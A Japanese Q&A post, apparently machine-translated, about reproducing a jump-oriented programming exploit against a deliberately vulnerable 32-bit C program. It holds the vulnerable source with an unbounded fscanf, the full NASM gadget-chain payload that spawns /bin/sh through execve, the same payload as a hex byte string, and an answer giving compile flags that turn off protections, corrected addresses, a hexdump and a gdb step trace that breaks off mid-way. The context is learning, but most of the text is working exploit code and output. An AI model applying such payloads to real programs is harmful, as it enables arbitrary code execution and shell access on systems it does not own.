私は thisjopに興味深い投稿を見つけました。コンセプトに慣れていなかったので、それを試すことにしました。引数の有無にかかわらず、バイナリで定義された任意の関数を呼び出すことができましたが、投稿に記載されている例を実行できませんでした。
彼がやっていることは、以下に見られるように、自分のガジェットと脆弱なプログラムを定義することです
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
char* executable="/bin//sh";
char* null="\0\0\0";
FILE * fd;
void attack_payload () {
asm(".intel_syntax noprefix");
//dispatcher
asm("add ebp,edi; jmp [ebp-0x39];");
//initializer
asm("popa; jmp [ebx-0x3e];");
//g00
asm("popa; fdivr st(1), st; jmp [edx];");
//g01
asm("inc eax; fdivr st(1), st; jmp [edx];");
//g02
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
//g03
asm("inc ebx; fdivr st(1), st; jmp [edx];");
//g07
asm("popa; cmc; jmp dword ptr [ecx];");
//g08
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
//g09
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
//g0a
asm("int 0x80");
asm(".att_syntax noprefix");
}
void overflow() {
char buf[256];
//printf("%p", buf);
fscanf(fd,"%[^\n]",buf);
return;
}
int main(int argc, char** argv) {
char* filename = "exploit";
if(argc>1) filename = argv[1];
fd=fopen(filename, "r");
overflow();
}
Gdbを使用して、ペイロードで定義されている定数の正しいアドレスを見つけたと思います
バッファのアドレスについては、$ebp
からその長さを引くことで見つけました
(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffce0c
私の定数は次のようになります(バッファサイズも変更した後)
; Constants:
base: equ 0xbfff42d0 ; Address where this buffer is loaded
;base: equ 0xffffd2b0 ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher: equ 0x804847e ; Address of the dispatcher gadget
initializer equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x80485c0 ; Points to the string "/bin/sh"
to_null: equ 0x80485c9 ; Points to a null dword (0x00000000)
buffer_length: equ 0x108 ; Target program's buffer size.
Shellを取得する代わりにプログラムを実行すると、
Segmentation fault (core dumped)
完全なエクスプロイト自体は次のとおりです
start:
; Constants:
base: equ 0xbfff42d0 ; Address where this buffer is loaded
;base: equ 0xffffd2b0 ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher: equ 0x804847e ; Address of the dispatcher gadget
initializer equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x80485c0 ; Points to the string "/bin/sh"
to_null: equ 0x80485c9 ; Points to a null dword (0x00000000)
buffer_length: equ 0x108 ; Target program's buffer size.
; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52 ; int 0x80
g09: dd dispatcher+43 ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
g08: dd dispatcher+37 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
g07: dd dispatcher+33 ; popa ; cmc ; jmp [ecx]
g06: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g05: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g04: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g03: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g02: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g01: dd dispatcher+14 ; inc eax ; fdivr st(1), st ; jmp [edx]
g00: dd dispatcher+9 ; popa ; fdivr st(1), st ; jmp [edx]
g_start: ; Start of the dispatch table, which is in reverse order.
; Don't know why but there is an 8-byte padding between the buffer and the return address
times buffer_length+8 - ($-start) db 'x' ; Pad to the end of the legal buffer
; Stuff to overwrite return address goes here
stored_ebp: dd 0xaaaaaaaa
ret_address: dd initializer
; Start of the stack. Data read by initializer gadget "popa":
popa0_edi: dd -4 ; Delta for dispatcher; negative to avoid NULLs
popa0_esi: dd 0xaaaaaaaa
popa0_ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
popa0_esp: dd 0xaaaaaaaa
popa0_ebx: dd base+to_dispatcher+0x3e ; Jumpback for initializer (plus 0x3e)
popa0_edx: dd 0xaaaaaaaa
popa0_ecx: dd 0xaaaaaaaa
popa0_eax: dd 0xaaaaaaaa
; Data read by "popa" for the null-writer gadgets:
popa1_edi: dd -4 ; Delta for dispatcher
popa1_esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
popa1_ebp: dd base+g00+0x39 ; Maintain current dispatch table offset
popa1_esp: dd 0xaaaaaaaa
popa1_ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
popa1_edx: dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"
popa1_ecx: dd 0xaaaaaaaa
popa1_eax: dd -1 ; When we increment eax later, it becomes 0
; Data read by "popa" to prepare for the system call:
popa2_edi: dd -4 ; Delta for dispatcher
popa2_esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
popa2_ebp: dd base+g07+0x39 ; Maintain current dispatch table offset
popa2_esp: dd 0xaaaaaaaa
popa2_ebx: dd to_executable ; Syscall EBX = 1st execve arg (filename)
popa2_edx: dd to_null ; Syscall EDX = 3rd execve arg (envp)
popa2_ecx: dd base+to_dispatcher ; Jumpback for "jmp [ecx]"
popa2_eax: dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)
; End of stack, start of a general data region used in manual addressing
dd dispatcher ; Jumpback for "jmp [esi-0xf]"
times 0xB db 'X' ; Filler
esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
dd dispatcher ; Jumpback for "jmp [esi+0x4]"
times 4 db 'Z' ; Filler
new_eax: dd 0xEEEEEE0B ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
times 3 db 'Z' ; Filler
to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
dw 0x73 ; The standard code segment; allows far jumps; ends in NULL
exploit.nasm:47: warning: dword data exceeds bounds
の問題を回避するためにnasm v2.07を使用してこれをコンパイルし、そのようにコンパイルします
nasm exploit.nasm
このような408バイトのファイルを作成するには、
文字列としてコンパイルされたシェルコードは次のようになります。
char shellcode[] =
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00"
"\x00\x00\x38\x07\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
"\x00\x28\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x80\x04\x08\x00\x80\x04\x08\x00\x02\x00\x00\x00\x02\x00"
"\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\xb2\x84\x04\x08\xa9\x84\x04\x08\xa3"
"\x84\x04\x08\x9f\x84\x04\x08\x91\x84\x04\x08\x9a\x84\x04\x08"
"\x91\x84\x04\x08\x9a\x84\x04\x08\x91\x84\x04\x08\x8c\x84\x04"
"\x08\x87\x84\x04\x08\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\xaa\xaa\xaa\xaa\x83\x84\x04"
"\x08\xfc\xff\xff\xff\xaa\xaa\xaa\xaa\xf1\x20\x09\x10\xaa\xaa"
"\xaa\xaa\x64\x22\x09\x10\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"\xaa\xaa\xaa\xfc\xff\xff\xff\x26\x22\x09\x10\xed\x20\x09\x10"
"\xaa\xaa\xaa\xaa\x20\x22\xc5\x27\x26\x22\x09\x10\xaa\xaa\xaa"
"\xaa\xff\xff\xff\xff\xfc\xff\xff\xff\x13\x22\x09\x10\xd1\x20"
"\x09\x10\xaa\xaa\xaa\xaa\x20\xa0\x04\x08\x24\xa0\x04\x08\x26"
"\x22\x09\x10\x24\xa0\x04\x08\x7e\x84\x04\x08\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x7e\x84\x04\x08\x7e\x84\x04\x08"
"\x5a\x5a\x5a\x5a\x0b\xee\xee\xee\x5a\x5a\x5a\x7e\x84\x04\x08"
"\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x60\x80\x04\x08\x00\x00\x00\x00"
"\x03\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\xf1\xff\x71\x00\x00\x00\x60\x80\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\x0e\x00\x00\x00\x2c\xa0\x04\x08\x00"
"\x00\x00\x00\x00\x00\xf1\xff\x92\x01\x00\x00\x7e\x84\x04\x08"
"\x00\x00\x00\x00\x00\x00\xf1\xff\x13\x00\x00\x00\x83\x84\x04"
"\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x1f\x00\x00\x00\x20\xa0"
"\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x2d\x00\x00\x00\x24"
"\xa0\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x35\x00\x00\x00"
"\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\xf1\xff\x43\x00\x00"
"\x00\x60\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x47\x00"
"\x00\x00\x64\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x4b"
"\x00\x00\x00\x68\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
"\x4f\x00\x00\x00\x6c\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01"
"\x00\x53\x00\x00\x00\x70\x80\x04\x08\x00\x00\x00\x00\x00\x00"
"\x01\x00\x57\x00\x00\x00\x74\x80\x04\x08\x00\x00\x00\x00\x00"
"\x00\x01\x00\x5b\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00"
"\x00\x00\x01\x00\x5f\x00\x00\x00\x7c\x80\x04\x08\x00\x00\x00"
"\x00\x00\x00\x01\x00\x63\x00\x00\x00\x80\x80\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\x67\x00\x00\x00\x84\x80\x04\x08\x00"
"\x00\x00\x00\x00\x00\x01\x00\x6b\x00\x00\x00\x88\x80\x04\x08"
"\x00\x00\x00\x00\x00\x00\x01\x00\x6f\x00\x00\x00\x8c\x80\x04"
"\x08\x00\x00\x00\x00\x00\x00\x01\x00\x77\x00\x00\x00\x70\x81"
"\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x82\x00\x00\x00\x74"
"\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x8e\x00\x00\x00"
"\x78\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x98\x00\x00"
"\x00\x7c\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xa2\x00"
"\x00\x00\x80\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xac"
"\x00\x00\x00\x84\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
"\xb6\x00\x00\x00\x88\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
"\x00\xc0\x00\x00\x00\x8c\x81\x04\x08\x00\x00\x00\x00\x00\x00"
"\x01\x00\xca\x00\x00\x00\x90\x81\x04\x08\x00\x00\x00\x00\x00"
"\x00\x01\x00\xd4\x00\x00\x00\x94\x81\x04\x08\x00\x00\x00\x00"
"\x00\x00\x01\x00\xde\x00\x00\x00\x98\x81\x04\x08\x00\x00\x00"
"\x00\x00\x00\x01\x00\xe8\x00\x00\x00\x9c\x81\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\xf2\x00\x00\x00\xa0\x81\x04\x08\x00"
"\x00\x00\x00\x00\x00\x01\x00\xfc\x00\x00\x00\xa4\x81\x04\x08"
"\x00\x00\x00\x00\x00\x00\x01\x00\x06\x01\x00\x00\xa8\x81\x04"
"\x08\x00\x00\x00\x00\x00\x00\x01\x00\x10\x01\x00\x00\xac\x81"
"\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x1a\x01\x00\x00\xb0"
"\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x24\x01\x00\x00"
"\xb4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x2e\x01\x00"
"\x00\xb8\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x38\x01"
"\x00\x00\xbc\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x42"
"\x01\x00\x00\xc0\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
"\x4c\x01\x00\x00\xc4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
"\x00\x56\x01\x00\x00\xc8\x81\x04\x08\x00\x00\x00\x00\x00\x00"
"\x01\x00\x60\x01\x00\x00\xcc\x81\x04\x08\x00\x00\x00\x00\x00"
"\x00\x01\x00\x6a\x01\x00\x00\xd0\x81\x04\x08\x00\x00\x00\x00"
"\x00\x00\x01\x00\x74\x01\x00\x00\xd4\x81\x04\x08\x00\x00\x00"
"\x00\x00\x00\x01\x00\x7e\x01\x00\x00\xe7\x81\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\x87\x01\x00\x00\xf3\x81\x04\x08\x00"
"\x00\x00\x00\x00\x00\x01\x00\x8f\x01\x00\x00\xfa\x81\x04\x08"
"\x00\x00\x00\x00\x00\x00\x01\x00\x9d\x01\x00\x00\x00\x92\x04"
"\x08\x00\x00\x00\x00\x10\x00\x01\x00\xa9\x01\x00\x00\x00\x92"
"\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\xb0\x01\x00\x00\x00"
"\x92\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\x00\x65\x78\x70"
"\x6c\x6f\x69\x74\x2e\x6e\x61\x73\x6d\x00\x62\x61\x73\x65\x00"
"\x69\x6e\x69\x74\x69\x61\x6c\x69\x7a\x65\x72\x00\x74\x6f\x5f"
"\x65\x78\x65\x63\x75\x74\x61\x62\x6c\x65\x00\x74\x6f\x5f\x6e"
"\x75\x6c\x6c\x00\x62\x75\x66\x66\x65\x72\x5f\x6c\x65\x6e\x67"
"\x74\x68\x00\x67\x30\x61\x00\x67\x30\x39\x00\x67\x30\x38\x00"
"\x67\x30\x37\x00\x67\x30\x36\x00\x67\x30\x35\x00\x67\x30\x34"
"\x00\x67\x30\x33\x00\x67\x30\x32\x00\x67\x30\x31\x00\x67\x30"
"\x30\x00\x67\x5f\x73\x74\x61\x72\x74\x00\x73\x74\x6f\x72\x65"
"\x64\x5f\x65\x62\x70\x00\x72\x65\x74\x5f\x61\x64\x64\x72\x65"
"\x73\x73\x00\x70\x6f\x70\x61\x30\x5f\x65\x64\x69\x00\x70\x6f"
"\x70\x61\x30\x5f\x65\x73\x69\x00\x70\x6f\x70\x61\x30\x5f\x65"
"\x62\x70\x00\x70\x6f\x70\x61\x30\x5f\x65\x73\x70\x00\x70\x6f"
"\x70\x61\x30\x5f\x65\x62\x78\x00\x70\x6f\x70\x61\x30\x5f\x65"
"\x64\x78\x00\x70\x6f\x70\x61\x30\x5f\x65\x63\x78\x00\x70\x6f"
"\x70\x61\x30\x5f\x65\x61\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
"\x64\x69\x00\x70\x6f\x70\x61\x31\x5f\x65\x73\x69\x00\x70\x6f"
"\x70\x61\x31\x5f\x65\x62\x70\x00\x70\x6f\x70\x61\x31\x5f\x65"
"\x73\x70\x00\x70\x6f\x70\x61\x31\x5f\x65\x62\x78\x00\x70\x6f"
"\x70\x61\x31\x5f\x65\x64\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
"\x63\x78\x00\x70\x6f\x70\x61\x31\x5f\x65\x61\x78\x00\x70\x6f"
"\x70\x61\x32\x5f\x65\x64\x69\x00\x70\x6f\x70\x61\x32\x5f\x65"
"\x73\x69\x00\x70\x6f\x70\x61\x32\x5f\x65\x62\x70\x00\x70\x6f"
"\x70\x61\x32\x5f\x65\x73\x70\x00\x70\x6f\x70\x61\x32\x5f\x65"
"\x62\x78\x00\x70\x6f\x70\x61\x32\x5f\x65\x64\x78\x00\x70\x6f"
"\x70\x61\x32\x5f\x65\x63\x78\x00\x70\x6f\x70\x61\x32\x5f\x65"
"\x61\x78\x00\x65\x73\x69\x5f\x61\x64\x64\x72\x00\x6e\x65\x77"
"\x5f\x65\x61\x78\x00\x74\x6f\x5f\x64\x69\x73\x70\x61\x74\x63"
"\x68\x65\x72\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74"
"\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e"
"\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00"
"\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00"
"\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60"
"\x00\x00\x00\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x07\x00\x00\x21\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
"\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x02\x00\x00\x60\x03\x00\x00\x04\x00\x00"
"\x00\x33\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00"
"\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60"
"\x05\x00\x00\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00";
これが期待どおりに機能しないのはなぜですか?私が試した簡単な例で同様の動作を見たので、ディスパッチャに間違ったメモリロケーションを定義していることに関係していると思います。
vulnerable.c
をコンパイルすることから始めます。 Position Independent Executable(PIE)の作成を回避すると、物事が簡素化されます。
$ uname -r
4.13.0-19-generic
$ uname -m
x86_64
$ gcc-6 --version
gcc-6 (Ubuntu 6.4.0-8ubuntu1) 6.4.0 20171010
...
$ gcc-6 -no-pie vulnerable.c -o vulnerable -g -m32 -fno-stack-protector -O0
$ readelf -h vulnerable|grep Type
Type: EXEC (Executable file)
これはgdb
内の攻撃を示していますが、直接攻撃を実行すると、一部のアドレスが変更される可能性があります。
$ gdb vulnerable
...
(gdb) disassemble attack_payload
Dump of assembler code for function attack_payload:
...
0x080484e8 <+13>: add %edi,%ebp
0x080484ea <+15>: jmp *-0x39(%ebp)
...
(gdb) x executable
0x8048680: 0x6e69622f
(gdb) x null
0x8048689: 0x00000000
(gdb) b overflow
Breakpoint 1 at 0x8048535: file vulnerable.c, line 44.
(gdb) r
Starting program: /home/mkayaalp/jop/vulnerable
Breakpoint 1, overflow () at vulnerable.c:44
44 fscanf(fd,"%[^\n]",buf);
(gdb) x buf
0xffffd460: 0x0804b160
gdb
を開いたままにして、exploit.nasm
ファイルの定数を変更します。
start:
; Constants:
base: equ 0xffffd460 ; Address where this buffer is loaded
dispatcher: equ 0x080484e8 ; Address of the dispatcher gadget
initializer equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x08048680 ; Points to the string "/bin/sh"
to_null: equ 0x08048689 ; Points to a null dword (0x00000000)
buffer_length: equ 0x100 ; Target program's buffer size.
...
次に、エクスプロイトを生成し、ペイロードの終了バイトがペイロードの中央に表示されないことを確認するために簡単に調べます。
$ nasm exploit.nasm; hd exploit
00000000 1c 85 04 08 13 85 04 08 0d 85 04 08 09 85 04 08 |................|
00000010 fb 84 04 08 04 85 04 08 fb 84 04 08 04 85 04 08 |................|
00000020 fb 84 04 08 f6 84 04 08 f1 84 04 08 78 78 78 78 |............xxxx|
00000030 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 |xxxxxxxxxxxxxxxx|
*
00000100 78 78 78 78 78 78 78 78 aa aa aa aa ed 84 04 08 |xxxxxxxx........|
00000110 fc ff ff ff aa aa aa aa c5 d4 ff ff aa aa aa aa |................|
00000120 30 d6 ff ff aa aa aa aa aa aa aa aa aa aa aa aa |0...............|
00000130 fc ff ff ff f2 d5 ff ff c1 d4 ff ff aa aa aa aa |................|
00000140 ec d5 bb 17 f2 d5 ff ff aa aa aa aa ff ff ff ff |................|
00000150 fc ff ff ff df d5 ff ff a5 d4 ff ff aa aa aa aa |................|
00000160 80 86 04 08 89 86 04 08 f2 d5 ff ff 89 86 04 08 |................|
00000170 e8 84 04 08 58 58 58 58 58 58 58 58 58 58 58 e8 |....XXXXXXXXXXX.|
00000180 84 04 08 e8 84 04 08 5a 5a 5a 5a 0b ee ee ee 5a |.......ZZZZ....Z|
00000190 5a 5a e8 84 04 08 73 00 |ZZ....s.|
00000198
脆弱性は次の行にあることに注意してください。
fscanf(fd,"%[^\n]",buf);
改行文字(0x0A
)が見つかるまで、ファイルからバイトをコピーします。結果のエクスプロイトにこのバイトがある場合、残りのペイロードはコピーされません。 (ただし、脆弱性を微調整してこの制限を取り除くことができます。最初にファイルを読み取り、次にstrcpy
でサイズを確認せずにnullで終了する文字列をコピーします。)
上記のエクスプロイトには、最後を除いて00
または0A
がないため、機能するはずです。
gdb
でプログラムを再起動し、実行をステップ実行します。
(gdb) r
Starting program: /home/mkayaalp/jop/vulnerable
Breakpoint 1, overflow () at vulnerable.c:44
44 fscanf(fd,"%[^\n]",buf);
(gdb) n
45 return;
(gdb) x /408b buf
0xffffd460: 0x1c 0x85 0x04 0x08 0x13 0x85 0x04 0x08
0xffffd468: 0x0d 0x85 0x04 0x08 0x09 0x85 0x04 0x08
0xffffd470: 0xfb 0x84 0x04 0x08 0x04 0x85 0x04 0x08
0xffffd478: 0xfb 0x84 0x04 0x08 0x04 0x85 0x04 0x08
0xffffd480: 0xfb 0x84 0x04 0x08 0xf6 0x84 0x04 0x08
0xffffd488: 0xf1 0x84 0x04 0x08 0x78 0x78 0x78 0x78
0xffffd490: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
...
0xffffd560: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0xffffd568: 0xaa 0xaa 0xaa 0xaa 0xed 0x84 0x04 0x08
0xffffd570: 0xfc 0xff 0xff 0xff 0xaa 0xaa 0xaa 0xaa
0xffffd578: 0xc5 0xd4 0xff 0xff 0xaa 0xaa 0xaa 0xaa
0xffffd580: 0x30 0xd6 0xff 0xff 0xaa 0xaa 0xaa 0xaa
0xffffd588: 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa
0xffffd590: 0xfc 0xff 0xff 0xff 0xf2 0xd5 0xff 0xff
0xffffd598: 0xc1 0xd4 0xff 0xff 0xaa 0xaa 0xaa 0xaa
0xffffd5a0: 0xec 0xd5 0xbb 0x17 0xf2 0xd5 0xff 0xff
0xffffd5a8: 0xaa 0xaa 0xaa 0xaa 0xff 0xff 0xff 0xff
0xffffd5b0: 0xfc 0xff 0xff 0xff 0xdf 0xd5 0xff 0xff
0xffffd5b8: 0xa5 0xd4 0xff 0xff 0xaa 0xaa 0xaa 0xaa
0xffffd5c0: 0x80 0x86 0x04 0x08 0x89 0x86 0x04 0x08
0xffffd5c8: 0xf2 0xd5 0xff 0xff 0x89 0x86 0x04 0x08
0xffffd5d0: 0xe8 0x84 0x04 0x08 0x58 0x58 0x58 0x58
0xffffd5d8: 0x58 0x58 0x58 0x58 0x58 0x58 0x58 0xe8
0xffffd5e0: 0x84 0x04 0x08 0xe8 0x84 0x04 0x08 0x5a
0xffffd5e8: 0x5a 0x5a 0x5a 0x0b 0xee 0xee 0xee 0x5a
0xffffd5f0: 0x5a 0x5a 0xe8 0x84 0x04 0x08 0x73 0x00
これは、バッファオーバーフローが機能したことを示しています。これで、実行はガジェットを通過します。 display /i $pc
は現在の命令を示し、si
は1つの命令をステップ実行します。
(gdb) display /i $pc
1: x/i $pc
=> 0x8048559 <overflow+56>: nop
(gdb) si
46 }
1: x/i $pc
=> 0x804855a <overflow+57>: mov -0x4(%ebp),%ebx
(gdb)
0x0804855d 46 }
1: x/i $pc
=> 0x804855d <overflow+60>: leave
(gdb)
0x0804855e 46 }
1: x/i $pc
=> 0x804855e <overflow+61>: ret
(gdb)
attack_payload () at vulnerable.c:19
19 asm("popa; jmp [ebx-0x3e];");
1: x/i $pc
=> 0x80484ed <attack_payload+18>: popa
(gdb)
0x080484ee in attack_payload () at vulnerable.c:19
19 asm("popa; jmp [ebx-0x3e];");
1: x/i $pc
=> 0x80484ee <attack_payload+19>: jmp *-0x3e(%ebx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
22 asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f1 <attack_payload+22>: popa
(gdb)
0x080484f2 22 asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f2 <attack_payload+23>: fdiv %st,%st(1)
(gdb)
0x080484f4 22 asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f4 <attack_payload+25>: jmp *(%edx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
24 asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f6 <attack_payload+27>: inc %eax
(gdb)
0x080484f7 24 asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f7 <attack_payload+28>: fdiv %st,%st(1)
(gdb)
0x080484f9 24 asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f9 <attack_payload+30>: jmp *(%edx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>: mov %ah,-0x17bc0000(%ebx)
(gdb)
0x08048501 26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>: stc
(gdb)
0x08048502 26 asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>: jmp *(%edx)
(gdb)
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>: add %edi,%ebp
(gdb)
0x080484ea in attack_payload () at vulnerable.c:16
16 asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>: jmp *-0x39(%ebp)
(gdb)
28 asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048504 <attack_payload+41>: inc %ebx
(gdb)
0x08048505 28 asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
